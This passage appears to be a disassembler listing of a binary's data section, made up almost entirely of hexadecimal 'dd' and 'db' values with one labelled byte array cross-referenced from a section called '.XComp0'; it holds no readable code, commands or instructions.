2F710BA0h, 4D2D0217h dd 33D4803Ah, 7FF0C47h, 522707B1h, 43F76025h, 9D28FD18h dd 1900C0D2h, 0EDDF440Ch, 2EF5A4h, 8E0766C2h, 57EAF859h dd 0FD7D4Ch, 8C064B2Dh, 0B7E69Ah, 62D87C75h, 709CF5ECh dd 774AFD03h, 0E8A484EBh, 71C311ADh, 0B44E2597h, 8C9A0440h dd 0DC003F70h, 0E8A03E01h, 0AEAC49h, 9BD46DE5h, 8F3FFCA6h dd 819F9A18h, 3D7BB212h, 0D2A48B13h, 0D6A700E3h, 909ADCB1h dd 0CC2CE500h, 7143F0B4h, 8E7500D4h, 929ED5F4h, 0E500CF7Eh dd 0F60156B0h, 0F2C84Ch, 1A0572A6h, 19C1FC53h, 0D000C98h dd 20292C62h, 134746h, 1F534EFEh, 12483732h, 364BFF1Fh dd 0BE4FE4C0h, 2D093FE7h, 0BC60FBACh, 0A1840E6h, 0B810F9A9h dd 0FCBD0F35h, 7DE27872h, 0A840A031h, 8100C7DDh, 0FDFFCD6Ah dd 7C764C5Ah, 3C61B03Fh, 17A9928h, 1A926B7Fh, 0C089AD02h dd 4E7B492Eh, 0D5ACD65Ah, 9BB76303h, 0E1D09170h, 0FF001ED4h dd 1CF3EE53h, 0DFE085h, 57A5A4EBh, 0A290CBE8h, 9412C22Eh dd 76ACBA00h, 1F3C0AEh, 0CCEA839Fh, 303D13D8h, 0B472FB34h dd 99A33300h, 27454FFCh, 0C80807D1h, 0E95A97D9h, 0C3DCAC80h dd 4D06198Bh, 767BD49Ah, 0EA8D1819h, 9BF93017h, 0BC00207Ch dd 0D7AA4CFFh, 9F72D54h, 0CA2B45F3h, 74D9B800h, 0C81EFBB2h dd 0A1801699h, 0A2BD93CBh, 8D46004Fh, 0D9966B50h, 22041FE9h dd 0E6611963h, 4087E0D2h, 49EAE2C0h, 4E00D4D1h, 38BD182Bh dd 0DB044559h, 5EBA2E33h, 43899080h, 0A2291F5Dh, 73C040B0h dd 915A2297h, 76111A02h, 0F0EF0210h, 18A1E29Ch, 599B2498h dd 23004918h, 14DE3C9Fh, 0E44B4h, 56512C1Ch, 0C01D4629h dd 6C3DE11Dh, 0DCBEACA6h, 16F90BCEh, 54C9805Eh, 5B39CBh dd 5A287852h, 5574C169h, 12E47E07h, 0A01F33DFh, 9911D10Dh dd 64854C1Fh, 484A139h, 0A0A20F05h, 911FEA3Ch, 86468ACh dd 0EDA4803Bh, 856B78FAh, 0BF7E00DFh, 614B5AA8h, 0AC98FC21h dd 0A5D24800h, 83E43E26h, 0D00A004Eh, 0DD3F3B97h, 11004F6Ah dd 1AB965D3h, 9861FC2Bh, 922C000Bh, 62FB301Ch, 10C0FD09h dd 0F922B915h, 0D690023h, 74418E76h, 0AA070B19h, 0B7D584BDh dd 6DF5AE30h, 0B12C000Fh, 0C767BA7Eh, 6A0027D4h, 4609E535h dd 0B0FB9323h, 311001F4h, 89D882DAh, 1A43C42Eh, 0DC088D00h dd 0C20A3F60h, 7B5258A2h, 0CBAF920Eh, 5D39E100h, 0B70145ABh dd 2D5B130Bh, 0F8ECC215h, 0D74C00FAh, 0EB237B6Fh, 4B1CB37Eh dd 63407330h, 20F099E7h, 0B07C4AA9h, 2D00EE25h, 5AFA28C2h dd 0DDBBD0h, 0E80B64C6h, 0F795E947h, 0AAD5E0Eh, 63A9A065h dd 58488BDBh, 100014D5h, 0A21C0BA4h, 0F600DCABh, 60029ECDh dd 1117270h, 7C072638h, 0DA8B31D2h, 0F5C1D84Bh, 0DFB7F485h dd 69ED2900h, 6CD443B0h, 3F5B2E0Eh, 401E36h, 0A718B856h dd 5C388F05h, 671B8013h, 2B203DCh, 345D0269h, 6E552824h dd 0F4704760h, 114C1400h, 63C99BFAh, 7BBA001Ch, 2AED3946h dd 6DEA2124h, 8C6C613Bh, 3872B106h, 83EE0F6Eh, 0F0603057h dd 2B964C92h, 80554224h, 0D2A1FD09h, 9D13054Ch, 908F43F4h dd 3ED7106Ch, 90FE217Ah, 321DE4A0h, 4B057900h, 175E2542h dd 0D2920328h, 0CD6474F7h, 60F6B4D1h, 52003570h, 8332CB39h dd 51042Ah, 0F912553Ah, 0CDCCAA5Dh, 677B3CB0h, 0E60075F4h dd 50C5BC68h, 2143992h, 0FA1744D9h, 3060309Eh, 0AE000B1Ah dd 3D2A0EF7h, 2F013827h, 0D870E297h, 6070670Eh, 0AF08E090h dd 65E383h, 0F113A134h, 12FFB2A0h, 809FAA3Ah, 2B544318h dd 0B01F3CE9h, 4750F0Ah, 0D704DF1Eh, 5438802Dh, 4C035929h dd 67D0346Dh, 0EC5DD87Bh, 0D92B009Ah, 353C42A6h, 0C2187830h dd 0EBA02C6Fh, 0BA100392h, 0FFCED0C5h, 19B97EF0h, 0B2949A00h dd 3B520414h, 312302EDh, 76DC0A88h, 4D9071E3h, 2F01FEA2h dd 1CCEC613h, 91603053h, 174B007Bh, 215A7DC8h, 2D7E6687h dd 7C8AD32Ch, 0F2A59961h, 0DA008862h, 63F9A34Fh, 92172EEBh dd 0C2006804h, 0F1D0365Ah, 0CFB409BAh, 400E580h, 0A8770FDBh dd 71FC78B5h, 5DD80088h, 0ED186475h, 15F09C2Eh, 8931BF07h dd 8F05092h db 63h byte_565345 db 5Fh, 0FDh, 3Bh ; DATA XREF: .XComp0:00452EF4o ; .XComp0:004532ECo dd 400FBA8h, 22B1D57h, 0AA0745A9h, 0B3D62A4Ah, 0B0348F33h dd 9CFC411h, 12585E33h, 0EE00F470h, 93C9E565h, 9E8CC7Dh dd 9DAF4CB8h, 0A3349980h, 7F03A5CDh, 0F8FF7226h, 9766D061h dd 882D4F39h, 23003048h, 0CAA9080h, 7CA2B9h, 5B9F841Fh dd 5906D2B6h, 57620E0Dh, 0F3E440F7h, 9F4E000Ch, 0A250E768h dd 50116C7h, 0E886FE74h, 56C083DDh, 4094C1h, 99F6B5A1h dd 2F0076AAh, 0DBF7608Fh, 86C194h, 0D0A67716h, 0AA637DA5h dd 1B22B300h, 0D7D52F36h, 0A349C98Ah, 65231780h, 0F2C01011h dd 0EB25248Dh, 0C5F277h, 26698E3Eh, 0BC7F2048h, 413CA57Eh dd 0CF4C0332h, 9BF064FFh, 3BC7F844h, 23F0016h, 195B6BF6h dd 8005052h, 0E514E26Ch, 8B8735h, 2DD9CB5Dh, 1E89565Ch dd 476DA3Ch, 3FFD6DB2h, 4D20B080h, 40A4B2B3h, 400D233h dd 854C1EF5h, 0B84F9h, 0EA652B02h, 615D2C21h, 5A50471Eh dd 7CD93Dh, 3F8EFE78h, 193915h, 36B3525Dh, 0B576A460h dd 8B6442Eh, 0EF8C6D00h, 1C9FD5ACh, 575C06BFh, 0FAF020E2h dd 62035B57h, 0DBD97F11h, 0B43E0BBh, 3BFB0ECCh, 7AAF5C6Ah dd 0ADA60C60h, 3828F693h, 4F00C8A7h, 0F0036B8Ah, 6069EE44h dd 3127B87Eh, 600159D9h, 0AD7B2B4h, 52202BFBh, 0BEA0E0Fh dd 0BB47DFC3h, 0E9380017h, 0BCB04031h, 6450009Fh, 51F74h dd 6D09EA4h, 24029FFDh, 8284B00h, 0EE585229h, 0BF760571h dd 801A4C49h, 7F1C3130h, 0CFC7D113h, 63426001h, 7B701247h dd 0AFCA1827h, 5B2A18CEh, 1C7B4F2Eh, 990F5A00h, 3B2E859Eh dd 0BB809BFEh, 0C565D47Ch, 0DF005CDBh, 0B0909916h, 2BE4795h dd 0A64E7B7Ah, 0EC63F936h, 703A5876h, 0C58003C8h, 0B8725E06h dd 23F9DB8h, 5982769Ch, 0E240F423h, 9517EC98h, 4D00975Fh dd 0FEB67746h, 1EB70785h, 50F8E662h, 0D4C439A3h, 1267B900h dd 6DA23EE5h, 7444B8AEh, 8C230518h, 0BAE8E7A0h, 4206B0h dd 0ED500679h, 0C9600316h, 0B87C9A00h, 0DE9C2162h, 0AEFB07EBh dd 71E63994h, 7069C495h, 17F81E5Ch, 6128AD6Fh, 1A3CCA65h dd 413C82Ch, 80F0E234h, 8A4C66CBh, 12DF2C70h, 4B948344h dd 99D8C3A3h, 0A200AA8Bh, 0B56DA0E6h, 2DE870Bh, 7156E574h dd 0A480E143h, 0AD0C2103h, 3E12F501h, 49CF0E39h, 11C4570h dd 9773445Bh, 8BD6D4CDh, 0C4655488h, 22740998h, 5CD85366h dd 0D3EFCE03h, 98CDB7EEh, 26F2DB75h, 4C5C6AB9h, 0A538CEA1h dd 402748h, 0E0082200h, 587C018Fh, 161C4C43h, 8815E427h dd 0A900CD7Dh, 0AF5A8D79h, 0BABE57h, 0A80B4422h, 6FAA8CA2h dd 2AFBE900h, 1F41ABBDh, 16F700C2h, 43DFB3F1h, 0EC39A81Dh dd 0E0D20015h, 6C6E2248h, 3E4B34h, 23375260h, 4603412Eh dd 3F480110h, 0D4A8BD1Bh, 3604F14Ch, 0A28D9FEBh, 0E4ADC17Ch dd 0F7F0D7B7h, 0F6C3008Eh, 0CA287A3Fh, 0F006326h, 174D5647h dd 9F85AAh, 4619E573h, 533A2C0Dh, 0BF11543Ch, 0BA8C8F7Dh dd 0D764A076h, 3C5C95h, 0BDD5F4DBh, 8F7AFDDAh, 8F34E00h dd 0D24E316h, 0B2D100C6h, 0CB8A339Fh, 223BB1BDh, 0AFDE96F4h dd 58908A0h, 0E5B87991h, 0A018870Eh, 8DBEACD5h, 0AE554F00h dd 6D9A0BC8h, 81AF00D8h, 740859CEh, 0FD001ED5h, 79E5B7E3h dd 300529DAh, 35E002F6h, 98C1A85Fh, 0A4B24B93h, 6A002C3Ch dd 9811AFC8h, 0AE0099E8h, 5E71A313h, 23020Ah, 5DAAB9EBh dd 3FCBD1BFh, 580DB17h, 0CE8E8400h, 75113764h, 356F0939h dd 2C901E0Dh, 0AB7BBAECh, 89FF38h, 0FCAE983Ch, 13E08B9Bh dd 32FA49h, 551A65D0h, 5E001841h, 4635EB2Eh, 1D0A365Bh dd 5FEA2F6Fh, 0BC374143h, 80CFC567h, 2703946Eh, 1DCEC401h dd 0B0B11238h, 0E50DE110h, 786BF401h, 0C83975D9h, 77254024h dd 0F6FC0121h, 0DBA2131Fh, 3F6007D9h, 80ECB04Ah, 1B56BFDh dd 0B157B8C8h, 0DD072038h, 2056ACE7h, 0E288A112h, 0F400AD78h dd 0BE53067Eh, 62F692h, 500581EEh, 5AFE88C1h, 0C0D40104h dd 40800D2Dh, 124E60ABh, 1252C8E0h, 0CC004123h, 20ACFAA0h dd 0A70995BCh, 94C54Fh, 88A2E497h, 267700EDh, 7DC48B4Bh dd 6900F53Bh, 8911AEEAh, 0B0ABBCB6h, 4E4D003Bh, 675B937Fh dd 0F90074BAh, 0FF480E5Dh, 0F4B786h, 0ACC16C53h, 52BB2983h dd 79236917h, 93807081h, 108025EDh, 6CAAD3C3h, 0E7009511h dd 0FFB8A868h, 3B09E14Fh, 1B80478Ch, 800B17ABh, 0B200F6AFh dd 7AEC4D05h, 519412h, 979ED1A5h, 14CADE5Ah, 0A8A3500h dd 38DA31FAh, 4C9000B9h, 509F5EBEh, 0AC0030E1h, 5D7ECD93h dd 0B2250B19h, 37D10FD8h, 0C560D298h, 0A3937699h, 0FDD4E202h dd 78BA34F8h, 70F277FCh, 3ACB0C0h, 1D755E41h, 77E8C2F1h dd 4700B9A3h, 0A44626Fh, 76C01920h, 2F1600EFh, 5139E201h dd 5C2C9B1Ah, 6B00E86Fh, 8D75F1D6h, 1D08B065h, 40C80680h dd 0CF8E6ED1h, 21002336h, 0FB0DB47Bh, 0E0848h, 0CCE645BFh dd 1BF33A03h, 0BA07B098h, 0D564B2DBh, 0F477EFE0h, 98E6E2h dd 0D3C26ACCh, 0CD3B6B2Ah, 1B4E2100h, 0B5CB5788h, 3C9D0FE8h dd 0CE9E9B18h, 7BA0C485h, 2C4B0702h, 69D42300h, 90C30F4Fh dd 0EB2A0018h, 0E575198Ch, 867D3D4Ah, 0D78AC701h, 0AD24F6FDh dd 1EC1F2F4h, 0B4B712h, 856DBC50h, 270029FCh, 0DE2A7F15h dd 1F434D98h, 402159E7h, 0FEE38754h, 0F1077349h, 5932F27h dd 0F22800C9h, 743620h, 76090FCCh, 1E38EF56h, 70BB5100h dd 27045945h, 291D388Fh, 0ED42007Fh, 691BD546h, 1C98720Dh dd 688AB033h, 0CD33BA2Ah, 8D80BB80h, 62F97325h, 7103C449h dd 112A353Ah, 4E00F786h, 7CDA57Eh, 17D63ED2h, 20EFF742h dd 0BB528327h, 0B45FC400h, 643C65EEh, 7D5600DBh, 6C214DE1h dd 1800E016h, 0FC97620Ah, 0B4341B5h, 3ECFC910h, 685A7809h dd 0D4070E0h, 4807F90h, 3CB3E0A3h, 134FC1Eh, 742370F2h dd 0B03FE908h, 10F0D6D8h, 8D18F360h, 4220F4h, 26BB4758h dd 727B2489h, 0AB48E100h, 0E93B6308h, 0B07567h, 0C1CD203Eh dd 43579846h, 0DE42D90Ah, 2C009C33h, 123AF565h, 3023007Ch dd 8B2BE81Ah, 74147EC9h, 0A858CBh, 52C7C318h, 0BDA725h dd 89CF0364h, 0BEBC1750h, 0EA5D3Ch, 39E55390h, 7BAB9Bh dd 0AC7F8CE1h, 7AB09D11h, 7D89E218h, 18399610h, 801678A2h dd 0C1000EF6h, 4A82E674h, 1DAD447Bh, 1256748h, 663C9B58h dd 8BB5602Dh, 0D6E111C2h, 0E5D8E086h, 59F4007Fh, 0A0BD83B0h dd 2800D715h, 7A51E030h, 1CD9D8h, 0DE920A7Fh, 6B83F0CCh dd 6804240Fh, 7DD40111h, 0D971D8D2h, 83073C78h, 724E092Eh dd 54603D33h, 0B800D1B5h, 76EBDA9Ah, 2717ABEh, 0EDE4ACBh dd 54762EC0h, 0A8E67900h, 3B1A474h, 0F18AB6DAh, 0C3A86AAEh dd 8B3EB5DBh, 686B80EEh, 9B4C19BBh, 584F0084h, 7B178DB3h dd 0E8C1758Ch, 6A249DC3h, 0B0679460h, 0ADF9102Ch, 0BCEB001Bh dd 84FDE94Eh, 3D8605E6h, 0B80FA922h, 6D910060h, 9BF902D4h dd 2B421EC9h, 0A7F480FBh, 29A94941h, 8661D200h, 0D75147F9h dd 148C006Ch, 0EE6E28F0h, 5A01F82Ch, 0CFA8CBADh, 7D606608h dd 3F220010h, 5228A28Ch, 0CA03CD7Bh, 12F1B4BBh, 8573C06Eh dd 2EF40092h, 791C84F6h, 0F207B2D0h, 0B0CEA0F3h, 0E3A5BB80h dd 0E788E07Dh, 0A89760h, 7C814E03h, 0C9AA35B8h, 456D9800h dd 3FC20594h, 69F20F15h, 3380C571h, 2EE1AFCBh, 1803684Ah dd 0C8A8C6E3h, 12396AA3h dd 808FEA2Bh, 8AC3EFF8h, 0B859622Eh, 0F700F696h, 92CFE7DEh dd 5C890041h, 3F99E432h, 8097D551h, 6FFF3650h, 1D5200E6h dd 2EE2246Ah, 4E001F15h, 70D14299h, 0B3740Fh, 0B4683F5Eh dd 8D0DDE2h, 84440300h, 89D4921Bh, 0C27FA9h, 83E35F2Fh dd 49CF3C24h, 6AFE5400h, 11CC9B28h, 188B6D5h, 0F7C16EECh dd 72B44397h, 29191DD9h, 4DC00190h, 0FFE574CBh, 63E2B9F4h dd 405D70B8h, 0CE257E98h, 77984C00h, 7A2DCA0Dh, 3B830146h dd 0DDB6D422h, 6C003F86h, 87F4B08Ch, 7F7888h, 0CF0D784Fh dd 70A2E64Bh, 14352100h, 0E5F217BBh, 0A84C0BBFh, 4800A116h dd 4EB9C4B4h, 0D13AF172h, 0A98A964Bh, 223C0CA4h, 0CF2736A6h dd 8C3C41E9h, 0BF1FA216h, 0CE8F5A06h, 0DA4D0085h, 8FC010h dd 7DF7FE91h, 6A753C9Ch, 0F6B5E100h, 6B1DA48h, 0C1A35BBAh dd 40DD59E4h, 0EB7957E0h, 90B6FA00h, 6C1B52DAh, 1C4E00E2h dd 0FC29BE65h, 847F8091h, 60DD082Fh, 2CD157A4h, 550D82h dd 2DF09A02h, 0EC0A554Fh, 0FC276084h, 29E48F00h, 1FCAB8Bh dd 2D4C6D85h, 6BCDE37Ch, 0FFFC009h, 0F4F434h, 0B2D95807h dd 58B71B97h, 6008422h, 9AB34D61h, 0A2001DFFh, 60CA9243h dd 2485E3Bh, 442A55DEh, 0AE80E13Eh, 432249A6h, 266051B8h dd 1B3363D8h, 2C643916h, 0CEF628h, 1DDDDED6h, 0A95AF783h dd 0C2311E01h, 3AD39490h, 536C007Fh, 65E8722Bh, 7F008EEAh dd 7175B25Ah, 0B027C7A0h, 84150178h, 30395689h, 0E456D6BFh dd 993F740Ah, 792AA400h, 1EE55990h, 84E67CE4h, 0FEBAC69Ah dd 0BDC8F7C0h, 0CFA90E97h, 8B80A2B6h, 9D0925E8h, 48A33616h dd 5DC16A02h, 0A8D8BBh, 62C4F1BFh, 9B6AEA0Dh, 0A0428B13h dd 3397BD00h, 0E7D63BEh, 7196E499h, 0CD6F8E5h, 0F3A073ACh dd 0AF6CAE3Bh, 8F4841C7h, 4FB5EB00h, 96FCEA02h, 0C0C31984h dd 0A5C758h, 42989599h, 0E8096E79h, 0CCB2262Eh, 3E3803Fh dd 5B8B7D1Dh, 72C5021Bh, 0B9AFB123h, 0C700B0D0h, 509336A3h dd 92F1D988h, 0E0C24058h, 0EAB8580Eh, 0FD1680BBh, 29EB61h dd 0C3215ED9h, 0BD53BC36h, 0F38E5500h, 8C566589h, 0EBBA03B3h dd 0B068C4DCh, 0DD363FD0h, 281D3107h, 62001857h, 1F116442h dd 7FFA751Fh, 0C0053597h, 0F6DF84Ch, 0C641D103h, 9FD1145h dd 8DBA1310h, 0EB3F7072h, 77F8DEBBh, 2078812h, 5C990298h dd 951E30DCh, 64DD5300h, 73225FEh, 905F2C7Bh, 7C6F7072h dd 0C3FCADDFh, 0D5DE38C3h, 269679h, 0C8D4E2C9h, 66EEBDD9h dd 0A410E00Fh, 7A84E081h, 1E415D05h, 804AE173h, 7223F2DDh dd 9F00E028h, 8FF0513Ch, 588EF3h, 0C398F5A0h, 1F375A68h dd 0A2792B0Fh, 0E78A807Ah, 3664E9h, 875FCA7Eh, 0B3F10B26h dd 3A41DD00h, 692C2BDAh, 708216C5h, 4C24A0FFh, 35EB5F03h dd 80D98B41h, 0ED6B47h, 0DAA05333h, 0F46C4EF9h, 8DE12604h dd 4A0D77Eh, 8E280203h, 56FF2C20h, 0F018A687h, 0D0EE4E9h dd 1F2C135Ch, 6067928Ah, 0E0D78F90h, 0C3930082h, 0BBE04B11h dd 4A09BC74h, 0E0529FB1h, 98BD434h, 996E0A62h, 1C3F2C70h dd 13E71D20h, 53A16D05h, 0FC1F40C0h, 5E380E6Fh, 0ABA01851h dd 528EC46h, 39138700h, 0FCB3C02Dh, 33710034h, 502FCD89h dd 0A172655h, 0AC000EC9h, 49C1CCF9h, 0F4D05870h, 3260DB07h dd 0B06A50CEh, 91F293B1h, 4C4494BAh, 0CEA83E86h, 0B86BDC80h dd 0B6CB53EEh, 968ED407h, 2E60E2C6h, 0D60398h, 0BEA43382h dd 8E05D370h, 0ADF2A700h, 3D949ED8h, 0DB350095h, 733CAEE5h dd 97000219h, 0AFD7F57Ah, 94F92Eh, 0C30E9548h, 0ED7F3561h dd 66101800h, 0A60D2238h, 7C901ECh, 4D8A710Ch, 51FEDC89h dd 5F2C5679h, 0B712B216h, 27001CADh, 210E3C89h, 1010F76h dd 0DF7E3E22h, 0AC833FCh, 7F087D25h, 8F7079h, 855B5F28h dd 59D7F3Ah, 60301D7Fh, 10882E3Eh, 0DE3503FAh, 0B28CD534h dd 0A800AADCh, 3C661720h, 74E50527h, 0D06F09E6h, 6C4DEA18h dd 7377F200h, 6A7E1757h, 68C605DFh, 1283320Fh, 186420A8h dd 0C5008B80h, 0FB54B4EEh, 5E977025h, 71D488C1h, 0E5BA9402h dd 0C0763BB3h, 0B7E4EC8Dh, 38366C03h, 90BBAFC1h, 370A0611h dd 105425h, 73100365h, 2949A49Eh, 300F0080h, 94D9B506h dd 67FA1614h, 3915037Ah, 0F187D4D2h, 82BC19FCh, 0EE06BE8h dd 30ACDCD5h, 0DD4DF41h, 3C20A0E1h, 0CBBB752Dh, 652021B0h dd 0BD168110h, 2C860A83h, 717B0B0Ch, 0DB02FC72h, 7CE6E0DDh dd 7366E076h, 49AC1E4Ch, 4290800Ch, 5780F7E4h, 54518F00h dd 0FE27CA2Eh, 2499002Dh, 2640B01Ch, 8B00D9C3h, 7C14BFDAh dd 43BBC1h, 38EC3072h, 0CAF1E776h, 9FD4C203h, 0C8021624h dd 0A46DDAh, 8810BEB9h, 20BF7FFAh, 0CA3D402h, 40B3C3F0h dd 286DDAh, 83FB1D5Ah, 2B13D074h, 376EDD0Fh, 0A226C036h dd 600A0B29h, 0C9DCD9F9h, 8314C496h, 33AC37C6h, 0F708EEh dd 96E1BD21h, 6419709Fh, 62002B7Fh, 2F763410h, 0CBCAB1h dd 7F2C593Fh, 0FF1B3967h, 94E49628h, 15D0D05Ch, 3C42D24h dd 0B1690F0Ah, 8106A3AEh, 89917A7h, 0EDED211Ch, 41A6DC69h dd 5377231Dh, 0D8715030h, 68FC6B1Eh, 0F511D85Ah, 0B5062C83h dd 20DB1AA8h, 9F4F240Ch, 6642384Ah, 0F80AA673h, 0F4B3E300h dd 0FE2B12EFh, 9B150C21h, 0DF10FF80h, 3E006179h, 0B9D24EA9h dd 4AAC6Dh, 88E255E1h, 0DB53289Bh, 22996F00h, 7BA20BF9h dd 1DB71F09h, 0E97700ABh, 3D1D919h, 96821300h, 0D322A155h dd 0EFFD00A0h, 6EED11BDh, 81005452h, 8DD9A5DAh, 0C3993h dd 0D6495EA6h, 2A835D0Ah, 6859D800h, 0A9DE7F1Eh, 52533E6Fh dd 0FFEE1F00h, 0D85F492Bh, 69E3A500h, 0E5F499FCh, 0CCDC0011h dd 4F5B9A8Ch, 83E0F124h, 3B272D00h, 2E7808D1h, 9E4A0046h dd 15ABF4A5h, 540543A6h, 1C866BF8h, 502794C0h, 8616697h dd 0D70E21EFh, 20918673h, 0B3E18D22h, 0F48E0123h, 0CCE7114Fh dd 0BDB0CF83h, 0C0027BFBh, 48CBE2D8h, 29E1E18Bh, 0E9821880h dd 443C1853h, 89201F1Bh, 0FE86C058h, 1AAD388Eh, 23FC7006h dd 0AB600808h, 8EF74921h, 859C0014h, 0CC83DF8Ch, 8600FFE0h dd 1F39505Ch, 630F5361h, 0EDA6319Fh, 46BDA9C0h, 132311C0h dd 6CC6D55h, 0C4A2DC37h, 3960080Fh, 551B0A21h, 7F420089h dd 0A39A9DB8h, 353007F5h, 0B2E45865h, 39E7364Bh, 1E46C0C8h dd 0AE8EFD01h, 0C6FF81Ah, 0F56488A7h, 0B5EC89B8h, 0C3667703h dd 98EB6A26h, 0A0906EAh, 0F8A0B8CDh, 972A0198h, 406F66BFh dd 23E062D0h, 7DE8AC61h, 95F96EE6h, 6111C0h, 254EE796h dd 2BA78CEBh, 80C0A53Ch, 0CE8A5DBBh, 0E4D15811h, 0AA31000Ah dd 14928816h, 0E40054C3h, 0FD12CF4Fh, 3C07B627h, 0F80AEB7h dd 453A211h, 0A70015EEh, 2E168F7Bh, 422270h, 0DDEB31D9h dd 0AF42A23h, 5F627E8h, 30C2A900h, 397DBDB9h, 0F8C9003Ch dd 0AB700AD7h, 6F03EFF6h, 0ED0CDF2h, 0EB6DB038h, 75D20ED6h dd 0E38CD713h, 7003321h, 0C2515738h, 7155DAh, 0D9E4FE8Ch dd 887CF2F9h, 0F0287260h, 7D13AA4Fh, 0B2BE1E1Dh, 8B658F4h dd 20C0F34Ch, 8713E230h, 0B10107AFh, 60627302h, 297978D5h dd 9593900h, 31D4B3D1h, 547D00B8h, 6FF0648Fh, 4DFA08F9h dd 410D0A44h, 6F598FCEh, 781F03A0h, 0D21100F7h, 7A0AAF6Bh dd 530ED46Ah, 8CD39272h, 0B721EEh, 0DB95AF83h, 0CC783E9Bh dd 5E9E2101h, 0B8F41070h dd 0B07B86ECh, 68BF626Ah, 0F200C21Ah, 1ED1781h, 7CB9A33Fh dd 0FC784F53h, 4900FAF4h, 999D8434h, 0F0CEEDC4h, 0E5D21385h dd 0AD2200D9h, 5BF568E3h, 6C6EF03Ch, 13A1016h, 48467AB0h dd 0C41357BBh, 7B0093C6h, 89315EA0h, 1750F8Fh, 0DBB1880Ah dd 140B2387h, 1A8F0430h, 0AD10C07Ch, 9862D53Fh, 2BF26B00h dd 60074BAEh, 0F18000B2h, 0CC4CA744h, 0EE00F853h, 0A6F983D5h dd 0B0D0AEFFh, 0E6F625h, 0C1BD2EB7h, 671182DEh, 0F526ED00h dd 71B96B2Ch, 73172F8Fh, 6D006C58h, 0AE3A21E5h, 7029058h dd 0EA8AD406h, 0C9DFE061h, 0AB000F4Ah, 0E8FC5210h, 768FF6h dd 384DBD2Ah, 5C922486h, 951EBA00h, 63E6DE19h, 0EC2300B9h dd 5F5D94Eh, 0DA00C454h, 8BE93FC0h, 3BBE5681h, 30803B1Eh dd 0A7D622D7h, 5000FC4Fh, 4CB42BD9h, 4D20D0h, 991159Fh dd 0E0CEBC64h, 50F1D700h, 0F003A233h, 2CCC0342h, 4F9DA426h dd 4138AD90h, 0C4B85060h, 0C57EA0h, 2266434Dh, 4AA26D8Ch dd 0DF009571h, 0DBCDD7C7h, 0CBB970h, 9B0FA6F1h, 0E125B13Bh dd 0E303A3F2h, 0BD94E809h, 0DBA0DFABh, 18E62F36h, 70DD74F2h dd 0C6000CEEh, 0BB21BE70h, 704C4BFFh, 823D00A4h, 0D7D935A6h dd 0C90E0C9Fh, 60F37713h, 0DA5B9326h, 0A6793DBCh, 1BF74960h dd 190F40D4h, 40129837h, 8921AC63h, 0CFDE00F3h, 4A61E9B6h dd 0AB78BE96h, 665D7A00h, 87E88911h, 0DDFE0FD2h, 958CC05Ch dd 6900FBA9h, 7BE3D71Ah, 0CF0C108h, 0DE4CBA6Dh, 2718CB70h dd 5659BB03h, 98D013DAh, 2BA000FBh, 0A03E5433h, 154B6500h dd 89B2A94h, 2E5092A5h, 0AB2CCh, 977CAB76h, 3600DA8Dh dd 0E7F5B015h, 227E0Fh, 98C1BF2Eh, 1361EB0Ah, 309B38h dd 0C7CAE481h, 0D1CDFCh, 57B63891h, 1D95C219h, 92E77F00h dd 7D0CB5CEh, 38DC985Dh, 40321C6h, 2D04230h, 8252F199h dd 0AEA66E70h, 9C44C4h, 0E60CC6DDh, 0E73BB327h, 0ED7EE113h dd 3A007316h, 0AC668037h, 3CEA09D3h, 52008B50h, 30BFF4DDh dd 25975B00h, 0E433B757h, 45A40167h, 49FE6598h, 7C5970A9h dd 1A018CB0h, 34B85383h, 11E8E4D6h, 4FA409D0h, 3800373Eh dd 0D57439B9h, 4D3A7E00h, 8554E0Fh, 0A4DB4923h, 75FA760Eh dd 9513AE03h, 5543CCC0h, 0B95F3A0Fh, 8D2D2031h, 0B06263h dd 275ECBF9h, 0A0873593h, 4700717Fh, 0D98932A1h, 0FE12D94h dd 836D6307h, 929BE260h, 0EA30604Fh, 84449271h, 47DB0012h dd 5F772D97h, 510A3EE4h, 0E4D469D2h, 47F3EB8Eh, 0EA5080DBh dd 335C6D6h, 12E61AB7h, 481CFB14h, 0D07FED4Ch, 0CB0070C8h dd 1CC638CEh, 79412F4h, 68B7BC6Ah, 0BF3FF0D5h, 0DDE0116Dh dd 0FA1F4318h, 1A4840h, 0ED0A965Ch, 2B58CC18h, 0A1BEE309h dd 6235037Eh, 40F0E232h, 8D9268h, 603CBB56h, 7C1FCC05h dd 0BC4D0E00h, 409B7563h, 0A1520064h, 9F5861F6h, 0D33DDE46h dd 0E02101F5h, 0F46E7FD4h, 69E9B440h, 4ABC0023h, 37AEFCEh dd 0C50027C9h, 9EB6AA41h, 7E34AEh, 6B23B2ECh, 0D6147CF3h dd 7A905350h, 98EA7644h, 9D9C14D3h, 201C80EBh, 40F7D24Bh dd 0B20F7578h, 2900BE32h, 0ED7C6F8Ah, 12BA9E4Bh, 1371A82Dh dd 4CA2003Fh, 9D4753Ch, 0EB349900h, 0F42B6D10h, 91E60094h dd 0DCE0BA0h, 820F3B55h, 8174F699h, 9739198Ah, 0B6E420h dd 7E7673CEh, 13E93EF4h, 1BB119C0h, 28146B8Eh, 48A0E419h dd 0B3006DA4h, 0EAF796D1h, 310E5813h, 5D10AE3Fh, 21EC3C9h dd 0C02AB505h, 24F17E10h, 12F8C942h, 21A42069h, 0AA0022C7h dd 0BE12C244h, 0CA6FFEh, 0E1AC0F30h, 599D03BBh, 5CC3FB0Fh dd 801E0919h, 0AAE296FCh, 0ABE70082h, 68298FFDh, 26005BAFh dd 0C69EF7A8h, 2972FF9h, 0C4BAF2C1h, 0A7848A15h, 1CBB8092h dd 7B011882h, 91CEF3DCh, 0E440C2A8h, 40AB23h, 385972AFh dd 606875F4h, 0F0C0C1ECh, 7F22B7CCh, 94A70E2Eh, 90A24443h dd 7060D35Ch, 0AB0057B2h, 9C78C36Eh, 3752313h, 0B6A6482Ch dd 0D0884771h, 6E004E5Eh, 0B30A88ECh, 0E4318C65h, 349100DAh dd 7EA8C6A2h, 81024157h, 2671C995h, 0D2A5E035h, 34D500DCh dd 9793AA2Eh, 0E100199Fh, 0F07F1C33h, 16EB22Fh, 36F7A46Bh dd 803465A3h, 6A3EAF19h, 10973AAh, 7ECA8061h, 80B6E81Ch dd 0D0C13121h, 0C27735h, 2F87616h, 7919A341h, 3126B607h dd 3460F47Dh, 1DC6190h, 20BC1099h, 30BAD6CBh, 7600F6A9h dd 0B21BF332h, 724A32Eh, 2CE35C50h, 3751F0CDh, 0C7004296h dd 60FDC932h, 34D9479h, 9CC4D3B0h, 78A8F531h, 0E000C003h dd 7A451861h, 3ED5BD30h, 8F016B3Bh, 